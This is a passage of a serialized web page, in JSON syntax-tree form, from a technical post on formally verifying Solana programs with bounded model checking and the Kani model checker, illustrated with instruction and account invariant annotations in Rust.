ue":675},{"type":23,"tag":481,"props":17305,"children":17306},{"class":483,"line":1299},[17307,17311,17315,17319,17323,17327],{"type":23,"tag":481,"props":17308,"children":17309},{"style":525},[17310],{"type":28,"value":17153},{"type":23,"tag":481,"props":17312,"children":17313},{"style":514},[17314],{"type":28,"value":6055},{"type":23,"tag":481,"props":17316,"children":17317},{"style":525},[17318],{"type":28,"value":2063},{"type":23,"tag":481,"props":17320,"children":17321},{"style":514},[17322],{"type":28,"value":1930},{"type":23,"tag":481,"props":17324,"children":17325},{"style":551},[17326],{"type":28,"value":2072},{"type":23,"tag":481,"props":17328,"children":17329},{"style":525},[17330],{"type":28,"value":675},{"type":23,"tag":481,"props":17332,"children":17333},{"class":483,"line":1329},[17334],{"type":23,"tag":481,"props":17335,"children":17336},{"emptyLinePlaceholder":15},[17337],{"type":28,"value":1210},{"type":23,"tag":481,"props":17339,"children":17340},{"class":483,"line":1337},[17341],{"type":23,"tag":481,"props":17342,"children":17343},{"style":488},[17344],{"type":28,"value":17188},{"type":23,"tag":481,"props":17346,"children":17347},{"class":483,"line":1369},[17348,17352,17356,17360],{"type":23,"tag":481,"props":17349,"children":17350},{"style":525},[17351],{"type":28,"value":17196},{"type":23,"tag":481,"props":17353,"children":17354},{"style":514},[17355],{"type":28,"value":13178},{"type":23,"tag":481,"props":17357,"children":17358},{"style":551},[17359],{"type":28,"value":16750},{"type":23,"tag":481,"props":17361,"children":17362},{"style":525},[17363],{"type":28,"value":17209},{"type":23,"tag":481,"props":17365,"children":17366},{"class":483,"line":1377},[17367,17371,17375],{"type":23,"tag":481,"props":17368,"children":17369},{"style":610},[17370],{"type":28,"value":17217},{"type":23,"tag":481,"props":17372,"children":17373},{"style":525},[17374],{"type":28,"value":17222},{"type":23,"tag":481,"props":17376,"children":17377},{"style":488},[17378],{"type":28,"value":17227},{"type":23,"tag":24,"props":17380,"children":17381},{},[17382,17384,17390,17392,17397],{"type":28,"value":17383},"Both of these cases return ",{"type":23,"tag":64,"props":17385,"children":17387},{"className":17386},[],[17388],{"type":28,"value":17389},"unsat",{"type":28,"value":17391}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":127,"props":17393,"children":17394},{},[17395],{"type":28,"value":17396},"correct",{"type":28,"value":17398}," according to this property.",{"type":23,"tag":7092,"props":17400,"children":17402},{"id":17401},"loop-bounds-path-explosion",[17403],{"type":28,"value":17404},"Loop bounds & path explosion",{"type":23,"tag":24,"props":17406,"children":17407},{},[17408,17410,17415,17417,17422],{"type":28,"value":17409},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":127,"props":17411,"children":17412},{},[17413],{"type":28,"value":17414},"every",{"type":28,"value":17416}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":127,"props":17418,"children":17419},{},[17420],{"type":28,"value":17421},"infinite",{"type":28,"value":17423}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":17425,"children":17426},{},[17427],{"type":28,"value":17428},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":17430,"children":17431},{},[17432],{"type":28,"value":17433},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":17435,"children":17436},{},[17437],{"type":28,"value":17438},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":7092,"props":17440,"children":17442},{"id":17441},"kani-model-checker",[17443],{"type":28,"value":17444},"Kani Model Checker",{"type":23,"tag":24,"props":17446,"children":17447},{},[17448,17450,17455],{"type":28,"value":17449},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":190,"props":17451,"children":17453},{"href":16342,"rel":17452},[194],[17454],{"type":28,"value":16346},{"type":28,"value":17456},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":17458,"children":17459},{},[17460,17462,17467,17469,17475,17476,17482,17484,17490],{"type":28,"value":17461},"Kani allows you to write ",{"type":23,"tag":127,"props":17463,"children":17464},{},[17465],{"type":28,"value":17466},"proof harnesses",{"type":28,"value":17468}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":64,"props":17470,"children":17472},{"className":17471},[],[17473],{"type":28,"value":17474},"assume",{"type":28,"value":8478},{"type":23,"tag":64,"props":17477,"children":17479},{"className":17478},[],[17480],{"type":28,"value":17481},"assert",{"type":28,"value":17483}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":64,"props":17485,"children":17487},{"className":17486},[],[17488],{"type":28,"value":17489},"cargo kani",{"type":28,"value":17491}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":31,"props":17493,"children":17495},{"id":17494},"specification-how-can-we-describe-what-we-want-our-program-to-do",[17496,17498,17502],{"type":28,"value":17497},"Specification: How can we describe what we ",{"type":23,"tag":127,"props":17499,"children":17500},{},[17501],{"type":28,"value":16416},{"type":28,"value":16418},{"type":23,"tag":24,"props":17504,"children":17505},{},[17506],{"type":23,"tag":127,"props":17507,"children":17508},{},[17509],{"type":23,"tag":2875,"props":17510,"children":17511},{},[17512],{"type":28,"value":17513},"And what even do we want it to do?",{"type":23,"tag":24,"props":17515,"children":17516},{},[17517,17519,17524],{"type":28,"value":17518},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":127,"props":17520,"children":17521},{},[17522],{"type":28,"value":17523},"specifying",{"type":28,"value":17525}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":17527,"children":17528},{},[17529],{"type":28,"value":17530},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":14178,"props":17532,"children":17533},{},[17534,17546,17558],{"type":23,"tag":77,"props":17535,"children":17536},{},[17537,17539,17544],{"type":28,"value":17538},"\"It should not be possible to ",{"type":23,"tag":2875,"props":17540,"children":17541},{},[17542],{"type":28,"value":17543},"steal money",{"type":28,"value":17545}," via a swap program\"",{"type":23,"tag":77,"props":17547,"children":17548},{},[17549,17551,17556],{"type":28,"value":17550},"\"A multisig should never get into a state where you ",{"type":23,"tag":2875,"props":17552,"children":17553},{},[17554],{"type":28,"value":17555},"can't sign anything",{"type":28,"value":17557},"\"",{"type":23,"tag":77,"props":17559,"children":17560},{},[17561],{"type":28,"value":17562},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":17564,"children":17565},{},[17566,17568,17578,17580,17585],{"type":28,"value":17567},"These are types of properties you can tell your ",{"type":23,"tag":190,"props":17569,"children":17572},{"href":17570,"rel":17571},"https://osec.io/",[194],[17573],{"type":23,"tag":127,"props":17574,"children":17575},{},[17576],{"type":28,"value":17577},"human auditors",{"type":28,"value":17579}," but these English phrases are not particularly useful for ",{"type":23,"tag":127,"props":17581,"children":17582},{},[17583],{"type":28,"value":17584},"automated verification techniques",{"type":28,"value":17586}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":17588,"children":17589},{},[17590,17592,17597,17599,17604],{"type":28,"value":17591},"Instead, we need to be able to specify ",{"type":23,"tag":127,"props":17593,"children":17594},{},[17595],{"type":28,"value":17596},"in code",{"type":28,"value":17598}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":64,"props":17600,"children":17602},{"className":17601},[],[17603],{"type":28,"value":17481},{"type":28,"value":17605}," statement.",{"type":23,"tag":7092,"props":17607,"children":17609},{"id":17608},"solana-invariants",[17610],{"type":28,"value":17611},"Solana Invariants",{"type":23,"tag":24,"props":17613,"children":17614},{},[17615,17617,17622,17623,17628],{"type":28,"value":17616},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":2875,"props":17618,"children":17619},{},[17620],{"type":28,"value":17621},"instruction invariants",{"type":28,"value":8478},{"type":23,"tag":2875,"props":17624,"children":17625},{},[17626],{"type":28,"value":17627},"account invariants",{"type":28,"value":199},{"type":23,"tag":16388,"props":17630,"children":17632},{"id":17631},"instruction-invariant",[17633],{"type":28,"value":17634},"Instruction Invariant",{"type":23,"tag":24,"props":17636,"children":17637},{},[17638,17640,17645,17647,17653,17654,17660],{"type":28,"value":17639},"An ",{"type":23,"tag":2875,"props":17641,"children":17642},{},[17643],{"type":28,"value":17644},"instruction invariant",{"type":28,"value":17646}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":64,"props":17648,"children":17650},{"className":17649},[],[17651],{"type":28,"value":17652},"succeeds_if",{"type":28,"value":10621},{"type":23,"tag":64,"props":17655,"children":17657},{"className":17656},[],[17658],{"type":28,"value":17659},"errors_if",{"type":28,"value":17661}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":17663,"children":17664},{},[17665],{"type":28,"value":17666},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":17668,"children":17669},{},[17670,17672,17678,17680,17685],{"type":28,"value":17671},"For example, say we have a ",{"type":23,"tag":64,"props":17673,"children":17675},{"className":17674},[],[17676],{"type":28,"value":17677},"Withdraw",{"type":28,"value":17679}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":127,"props":17681,"children":17682},{},[17683],{"type":28,"value":17684},"more",{"type":28,"value":17686}," tokens than their current balance.",{"type":23,"tag":24,"props":17688,"children":17689},{},[17690,17692,17697],{"type":28,"value":17691},"Using our tool, you could specify the following ",{"type":23,"tag":64,"props":17693,"children":17695},{"className":17694},[],[17696],{"type":28,"value":17659},{"type":28,"value":17698}," property on your instruction handler:",{"type":23,"tag":435,"props":17700,"children":17702},{"code":17701,"language":474,"meta":7,"className":475,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[17703],{"type":23,"tag":64,"props":17704,"children":17705},{"__ignoreMap":7},[17706,17714,17749,17757,17830,17838],{"type":23,"tag":481,"props":17707,"children":17708},{"class":483,"line":484},[17709],{"type":23,"tag":481,"props":17710,"children":17711},{"style":525},[17712],{"type":28,"value":17713},"#[errors_if(\n",{"type":23,"tag":481,"props":17715,"children":17716},{"class":483,"line":351},[17717,17722,17726,17731,17735,17740,17744],{"type":23,"tag":481,"props":17718,"children":17719},{"style":525},[17720],{"type":28,"value":17721}," ctx",{"type":23,"tag":481,"props":17723,"children":17724},{"style":514},[17725],{"type":28,"value":199},{"type":23,"tag":481,"props":17727,"children":17728},{"style":525},[17729],{"type":28,"value":17730},"user",{"type":23,"tag":481,"props":17732,"children":17733},{"style":514},[17734],{"type":28,"value":199},{"type":23,"tag":481,"props":17736,"children":17737},{"style":525},[17738],{"type":28,"value":17739},"balance ",{"type":23,"tag":481,"props":17741,"children":17742},{"style":514},[17743],{"type":28,"value":3282},{"type":23,"tag":481,"props":17745,"children":17746},{"style":525},[17747],{"type":28,"value":17748}," amount\n",{"type":23,"tag":481,"props":17750,"children":17751},{"class":483,"line":531},[17752],{"type":23,"tag":481,"props":17753,"children":17754},{"style":525},[17755],{"type":28,"value":17756},")]\n",{"type":23,"tag":481,"props":17758,"children":17759},{"class":483,"line":567},[17760,17765,17770,17774,17779,17783,17788,17792,17796,17800,17805,17809,17813,17817,17821,17825],{"type":23,"tag":481,"props":17761,"children":17762},{"style":497},[17763],{"type":28,"value":17764},"fn",{"type":23,"tag":481,"props":17766,"children":17767},{"style":610},[17768],{"type":28,"value":17769}," withdraw",{"type":23,"tag":481,"props":17771,"children":17772},{"style":525},[17773],{"type":28,"value":618},{"type":23,"tag":481,"props":17775,"children":17776},{"style":508},[17777],{"type":28,"value":17778},"ctx",{"type":23,"tag":481,"props":17780,"children":17781},{"style":514},[17782],{"type":28,"value":287},{"type":23,"tag":481,"props":17784,"children":17785},{"style":943},[17786],{"type":28,"value":17787}," Context",{"type":23,"tag":481,"props":17789,"children":17790},{"style":525},[17791],{"type":28,"value":3282},{"type":23,"tag":481,"props":17793,"children":17794},{"style":943},[17795],{"type":28,"value":17677},{"type":23,"tag":481,"props":17797,"children":17798},{"style":525},[17799],{"type":28,"value":4108},{"type":23,"tag":481,"props":17801,"children":17802},{"style":508},[17803],{"type":28,"value":17804},"amount",{"type":23,"tag":481,"props":17806,"children":17807},{"style":514},[17808],{"type":28,"value":287},{"type":23,"tag":481,"props":17810,"children":17811},{"style":943},[17812],{"type":28,"value":3336},{"type":23,"tag":481,"props":17814,"children":17815},{"style":525},[17816],{"type":28,"value":598},{"type":23,"tag":481,"props":17818,"children":17819},{"style":514},[17820],{"type":28,"value":11245},{"type":23,"tag":481,"props":17822,"children":17823},{"style":943},[17824],{"type":28,"value":11250},{"type":23,"tag":481,"props":17826,"children":17827},{"style":525},[17828],{"type":28,"value":17829},"\u003C()> {\n",{"type":23,"tag":481,"props":17831,"children":17832},{"class":483,"line":678},[17833],{"type":23,"tag":481,"props":17834,"children":17835},{"style":514},[17836],{"type":28,"value":17837}," ...\n",{"type":23,"tag":481,"props":17839,"children":17840},{"class":483,"line":784},[17841],{"type":23,"tag":481,"props":17842,"children":17843},{"style":525},[17844],{"type":28,"value":1443},{"type":23,"tag":426,"props":17846,"children":17847},{},[17848],{"type":23,"tag":24,"props":17849,"children":17850},{},[17851,17852,17857,17859,17864,17866,17871],{"type":28,"value":14104},{"type":23,"tag":64,"props":17853,"children":17855},{"className":17854},[],[17856],{"type":28,"value":17659},{"type":28,"value":17858}," expression specifies ",{"type":23,"tag":127,"props":17860,"children":17861},{},[17862],{"type":28,"value":17863},"succifient",{"type":28,"value":17865}," but not ",{"type":23,"tag":127,"props":17867,"children":17868},{},[17869],{"type":28,"value":17870},"necessary",{"type":28,"value":17872}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":16288,"props":17874,"children":17875},{},[],{"type":23,"tag":24,"props":17877,"children":17878},{},[17879,17881,17886],{"type":28,"value":17880},"Another example is that for ",{"type":23,"tag":127,"props":17882,"children":17883},{},[17884],{"type":28,"value":17885},"crank",{"type":28,"value":17887}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":435,"props":17889,"children":17891},{"code":17890,"language":474,"meta":7,"className":475,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[17892],{"type":23,"tag":64,"props":17893,"children":17894},{"__ignoreMap":7},[17895,17903,17957,17964],{"type":23,"tag":481,"props":17896,"children":17897},{"class":483,"line":484},[17898],{"type":23,"tag":481,"props":17899,"children":17900},{"style":525},[17901],{"type":28,"value":17902},"#[succeeds_if(true)]\n",{"type":23,"tag":481,"props":17904,"children":17905},{"class":483,"line":351},[17906,17910,17915,17919,17923,17927,17931,17935,17940,17945,17949,17953],{"type":23,"tag":481,"props":17907,"children":17908},{"style":497},[17909],{"type":28,"value":17764},{"type":23,"tag":481,"props":17911,"children":17912},{"style":610},[17913],{"type":28,"value":17914}," my_crank",{"type":23,"tag":481,"props":17916,"children":17917},{"style":525},[17918],{"type":28,"value":618},{"type":23,"tag":481,"props":17920,"children":17921},{"style":508},[17922],{"type":28,"value":17778},{"type":23,"tag":481,"props":17924,"children":17925},{"style":514},[17926],{"type":28,"value":287},{"type":23,"tag":481,"props":17928,"children":17929},{"style":943},[17930],{"type":28,"value":17787},{"type":23,"tag":481,"props":17932,"children":17933},{"style":525},[17934],{"type":28,"value":3282},{"type":23,"tag":481,"props":17936,"children":17937},{"style":943},[17938],{"type":28,"value":17939},"Crank",{"type":23,"tag":481,"props":17941,"children":17942},{"style":525},[17943],{"type":28,"value":17944},">) ",{"type":23,"tag":481,"props":17946,"children":17947},{"style":514},[17948],{"type":28,"value":11245},{"type":23,"tag":481,"props":17950,"children":17951},{"style":943},[17952],{"type":28,"value":11250},{"type":23,"tag":481,"props":17954,"children":17955},{"style":525},[17956],{"type":28,"value":17829},{"type":23,"tag":481,"props":17958,"children":17959},{"class":483,"line":531},[17960],{"type":23,"tag":481,"props":17961,"children":17962},{"style":514},[17963],{"type":28,"value":17837},{"type":23,"tag":481,"props":17965,"children":17966},{"class":483,"line":567},[17967],{"type":23,"tag":481,"props":17968,"children":17969},{"style":525},[17970],{"type":28,"value":1443},{"type":23,"tag":24,"props":17972,"children":17973},{},[17974,17976,17980,17982,17988],{"type":28,"value":17975},"With this invariant, you could prove that the function ",{"type":23,"tag":127,"props":17977,"children":17978},{},[17979],{"type":28,"value":10581},{"type":28,"value":17981}," returns ",{"type":23,"tag":64,"props":17983,"children":17985},{"className":17984},[],[17986],{"type":28,"value":17987},"Ok",{"type":28,"value":17989},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":16288,"props":17991,"children":17992},{},[],{"type":23,"tag":24,"props":17994,"children":17995},{},[17996,17998,18003,18004,18009,18011,18016,18018,18023,18025,18030],{"type":28,"value":17997},"Note that ",{"type":23,"tag":64,"props":17999,"children":18001},{"className":18000},[],[18002],{"type":28,"value":17652},{"type":28,"value":8478},{"type":23,"tag":64,"props":18005,"children":18007},{"className":18006},[],[18008],{"type":28,"value":17659},{"type":28,"value":18010}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":64,"props":18012,"children":18014},{"className":18013},[],[18015],{"type":28,"value":17652},{"type":28,"value":18017}," is not satisfied and a function may fail even if ",{"type":23,"tag":64,"props":18019,"children":18021},{"className":18020},[],[18022],{"type":28,"value":17659},{"type":28,"value":18024}," is not satisfied. If you want to prove the ",{"type":23,"tag":127,"props":18026,"children":18027},{},[18028],{"type":28,"value":18029},"exact condition",{"type":28,"value":18031}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":435,"props":18033,"children":18035},{"code":18034,"language":474,"meta":7,"className":475,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[18036],{"type":23,"tag":64,"props":18037,"children":18038},{"__ignoreMap":7},[18039,18083,18090,18107,18133,18185,18192],{"type":23,"tag":481,"props":18040,"children":18041},{"class":483,"line":484},[18042,18046,18051,18055,18059,18063,18067,18071,18075,18079],{"type":23,"tag":481,"props":18043,"children":18044},{"style":497},[18045],{"type":28,"value":17764},{"type":23,"tag":481,"props":18047,"children":18048},{"style":610},[18049],{"type":28,"value":18050}," my_invariant",{"type":23,"tag":481,"props":18052,"children":18053},{"style":525},[18054],{"type":28,"value":618},{"type":23,"tag":481,"props":18056,"children":18057},{"style":514},[18058],{"type":28,"value":7074},{"type":23,"tag":481,"props":18060,"children":18061},{"style":525},[18062],{"type":28,"value":598},{"type":23,"tag":481,"props":18064,"children":18065},{"style":514},[18066],{"type":28,"value":11245},{"type":23,"tag":481,"props":18068,"children":18069},{"style":943},[18070],{"type":28,"value":9537},{"type":23,"tag":481,"props":18072,"children":18073},{"style":525},[18074],{"type":28,"value":7069},{"type":23,"tag":481,"props":18076,"children":18077},{"style":514},[18078],{"type":28,"value":7074},{"type":23,"tag":481,"props":18080,"children":18081},{"style":525},[18082],{"type":28,"value":7079},{"type":23,"tag":481,"props":18084,"children":18085},{"class":483,"line":351},[18086],{"type":23,"tag":481,"props":18087,"children":18088},{"emptyLinePlaceholder":15},[18089],{"type":28,"value":1210},{"type":23,"tag":481,"props":18091,"children":18092},{"class":483,"line":531},[18093,18098,18102],{"type":23,"tag":481,"props":18094,"children":18095},{"style":525},[18096],{"type":28,"value":18097},"#[succeeds_if(my_invariant(",{"type":23,"tag":481,"props":18099,"children":18100},{"style":514},[18101],{"type":28,"value":7074},{"type":23,"tag":481,"props":18103,"children":18104},{"style":525},[18105],{"type":28,"value":18106},"))]\n",{"type":23,"tag":481,"props":18108,"children":18109},{"class":483,"line":567},[18110,18115,18120,18125,18129],{"type":23,"tag":481,"props":18111,"children":18112},{"style":525},[18113],{"type":28,"value":18114},"#[errors_if(",{"type":23,"tag":481,"props":18116,"children":18117},{"style":514},[18118],{"type":28,"value":18119},"!",{"type":23,"tag":481,"props":18121,"children":18122},{"style":525},[18123],{"type":28,"value":18124},"my_invariant(",{"type":23,"tag":481,"props":18126,"children":18127},{"style":514},[18128],{"type":28,"value":7074},{"type":23,"tag":481,"props":18130,"children":18131},{"style":525},[18132],{"type":28,"value":18106},{"type":23,"tag":481,"props":18134,"children":18135},{"class":483,"line":678},[18136,18140,18145,18149,18153,18157,18161,18165,18169,18173,18177,18181],{"type":23,"tag":481,"props":18137,"children":18138},{"style":497},[18139],{"type":28,"value":17764},{"type":23,"tag":481,"props":18141,"children":18142},{"style":610},[18143],{"type":28,"value":18144}," my_instruction",{"type":23,"tag":481,"props":18146,"children":18147},{"style":525},[18148],{"type":28,"value":618},{"type":23,"tag":481,"props":18150,"children":18151},{"style":508},[18152],{"type":28,"value":17778},{"type":23,"tag":481,"props":18154,"children":18155},{"style":514},[18156],{"type":28,"value":287},{"type":23,"tag":481,"props":18158,"children":18159},{"style":943},[18160],{"type":28,"value":17787},{"type":23,"tag":481,"props":18162,"children":18163},{"style":525},[18164],{"type":28,"value":3282},{"type":23,"tag":481,"props":18166,"children":18167},{"style":514},[18168],{"type":28,"value":7074},{"type":23,"tag":481,"props":18170,"children":18171},{"style":525},[18172],{"type":28,"value":17944},{"type":23,"tag":481,"props":18174,"children":18175},{"style":514},[18176],{"type":28,"value":11245},{"type":23,"tag":481,"props":18178,"children":18179},{"style":943},[18180],{"type":28,"value":11250},{"type":23,"tag":481,"props":18182,"children":18183},{"style":525},[18184],{"type":28,"value":17829},{"type":23,"tag":481,"props":18186,"children":18187},{"class":483,"line":784},[18188],{"type":23,"tag":481,"props":18189,"children":18190},{"style":514},[18191],{"type":28,"value":17837},{"type":23,"tag":481,"props":18193,"children":18194},{"class":483,"line":812},[18195],{"type":23,"tag":481,"props":18196,"children":18197},{"style":525},[18198],{"type":28,"value":1443},{"type":23,"tag":24,"props":18200,"children":18201},{},[18202],{"type":28,"value":18203},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":16388,"props":18205,"children":18207},{"id":18206},"account-invariants",[18208],{"type":28,"value":18209},"Account Invariants",{"type":23,"tag":24,"props":18211,"children":18212},{},[18213,18215,18220],{"type":28,"value":18214},"The other type of invariant is an ",{"type":23,"tag":2875,"props":18216,"children":18217},{},[18218],{"type":28,"value":18219},"Account Invariant",{"type":28,"value":18221},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":18223,"children":18224},{},[18225,18227,18232,18233,18239],{"type":28,"value":18226},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":64,"props":18228,"children":18230},{"className":18229},[],[18231],{"type":28,"value":1259},{"type":28,"value":10621},{"type":23,"tag":64,"props":18234,"children":18236},{"className":18235},[],[18237],{"type":28,"value":18238},"init",{"type":28,"value":18240},").",{"type":23,"tag":24,"props":18242,"children":18243},{},[18244,18246,18252],{"type":28,"value":18245},"For example, given a mock ",{"type":23,"tag":64,"props":18247,"children":18249},{"className":18248},[],[18250],{"type":28,"value":18251},"UserStatement",{"type":28,"value":18253}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":435,"props":18255,"children":18257},{"code":18256,"language":474,"meta":7,"className":475,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[18258],{"type":23,"tag":64,"props":18259,"children":18260},{"__ignoreMap":7},[18261,18269,18277,18311,18318,18334,18360,18384,18408],{"type":23,"tag":481,"props":18262,"children":18263},{"class":483,"line":484},[18264],{"type":23,"tag":481,"props":18265,"children":18266},{"style":525},[18267],{"type":28,"value":18268},"#[account]\n",{"type":23,"tag":481,"props":18270,"children":18271},{"class":483,"line":351},[18272],{"type":23,"tag":481,"props":18273,"children":18274},{"style":525},[18275],{"type":28,"value":18276},"#[invariant(\n",{"type":23,"tag":481,"props":18278,"children":18279},{"class":483,"line":531},[18280,18285,18289,18294,18298,18302,18306],{"type":23,"tag":481,"props":18281,"children":18282},{"style":525},[18283],{"type":28,"value":18284}," self",{"type":23,"tag":481,"props":18286,"children":18287},{"style":514},[18288],{"type":28,"value":199},{"type":23,"tag":481,"props":18290,"children":18291},{"style":525},[18292],{"type":28,"value":18293},"assets ",{"type":23,"tag":481,"props":18295,"children":18296},{"style":514},[18297],{"type":28,"value":7428},{"type":23,"tag":481,"props":18299,"children":18300},{"style":525},[18301],{"type":28,"value":11285},{"type":23,"tag":481,"props":18303,"children":18304},{"style":514},[18305],{"type":28,"value":199},{"type":23,"tag":481,"props":18307,"children":18308},{"style":525},[18309],{"type":28,"value":18310},"liabilities\n",{"type":23,"tag":481,"props":18312,"children":18313},{"class":483,"line":567},[18314],{"type":23,"tag":481,"props":18315,"children":18316},{"style":525},[18317],{"type":28,"value":17756},{"type":23,"tag":481,"props":18319,"children":18320},{"class":483,"line":678},[18321,18325,18330],{"type":23,"tag":481,"props":18322,"children":18323},{"style":497},[18324],{"type":28,"value":6884},{"type":23,"tag":481,"props":18326,"children":18327},{"style":943},[18328],{"type":28,"value":18329}," UserStatement",{"type":23,"tag":481,"props":18331,"children":18332},{"style":525},[18333],{"type":28,"value":809},{"type":23,"tag":481,"props":18335,"children":18336},{"class":483,"line":784},[18337,18342,18347,18351,18356],{"type":23,"tag":481,"props":18338,"children":18339},{"style":497},[18340],{"type":28,"value":18341}," pub",{"type":23,"tag":481,"props":18343,"children":18344},{"style":508},[18345],{"type":28,"value":18346}," owner",{"type":23,"tag":481,"props":18348,"children":18349},{"style":514},[18350],{"type":28,"value":287},{"type":23,"tag":481,"props":18352,"children":18353},{"style":943},[18354],{"type":28,"value":18355}," Pubkey",{"type":23,"tag":481,"props":18357,"children":18358},{"style":525},[18359],{"type":28,"value":1033},{"type":23,"tag":481,"props":18361,"children":18362},{"class":483,"line":812},[18363,18367,18372,18376,18380],{"type":23,"tag":481,"props":18364,"children":18365},{"style":497},[18366],{"type":28,"value":18341},{"type":23,"tag":481,"props":18368,"children":18369},{"style":508},[18370],{"type":28,"value":18371}," assets",{"type":23,"tag":481,"props":18373,"children":18374},{"style":514},[18375],{"type":28,"value":287},{"type":23,"tag":481,"props":18377,"children":18378},{"style":943},[18379],{"type":28,"value":3336},{"type":23,"tag":481,"props":18381,"children":18382},{"style":525},[18383],{"type":28,"value":1033},{"type":23,"tag":481,"props":18385,"children":18386},{"class":483,"line":825},[18387,18391,18396,18400,18404],{"type":23,"tag":481,"props":18388,"children":18389},{"style":497},[18390],{"type":28,"value":18341},{"type":23,"tag":481,"props":18392,"children":18393},{"style":508},[18394],{"type":28,"value":18395}," liabilities",{"type":23,"tag":481,"props":18397,"children":18398},{"style":514},[18399],{"type":28,"value":287},{"type":23,"tag":481,"props":18401,"children":18402},{"style":943},[18403],{"type":28,"value":3336},{"type":23,"tag":481,"props":18405,"children":18406},{"style":525},[18407],{"type":28,"value":1033},{"type":23,"tag":481,"props":18409,"children":18410},{"class":483,"line":843},[18411],{"type":23,"tag":481,"props":18412,"children":18413},{"style":525},[18414],{"type":28,"value":1443},{"type":23,"tag":24,"props":18416,"children":18417},{},[18418,18420,18425],{"type":28,"value":18419},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":64,"props":18421,"children":18423},{"className":18422},[],[18424],{"type":28,"value":18251},{"type":28,"value":18426}," is created or modified.",{"type":23,"tag":24,"props":18428,"children":18429},{},[18430,18432,18438],{"type":28,"value":18431},"In another example, we developed the following invariant for the ",{"type":23,"tag":190,"props":18433,"children":18435},{"href":16319,"rel":18434},[194],[18436],{"type":28,"value":18437},"Squads Multisig",{"type":28,"value":18439}," wallet account:",{"type":23,"tag":435,"props":18441,"children":18443},{"code":18442,"language":474,"meta":7,"className":475,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[18444],{"type":23,"tag":64,"props":18445,"children":18446},{"__ignoreMap":7},[18447,18454,18461,18491,18550,18579,18631,18638,18659,18689,18719,18749,18778,18808,18838,18867,18907],{"type":23,"tag":481,"props":18448,"children":18449},{"class":483,"line":484},[18450],{"type":23,"tag":481,"props":18451,"children":18452},{"style":525},[18453],{"type":28,"value":18268},{"type":23,"tag":481,"props":18455,"children":18456},{"class":483,"line":351},[18457],{"type":23,"tag":481,"props":18458,"children":18459},{"style":525},[18460],{"type":28,"value":18276},{"type":23,"tag":481,"props":18462,"children":18463},{"class":483,"line":531},[18464,18469,18473,18477,18482,18486],{"type":23,"tag":481,"props":18465,"children":18466},{"style":514},[18467],{"type":28,"value":18468}," 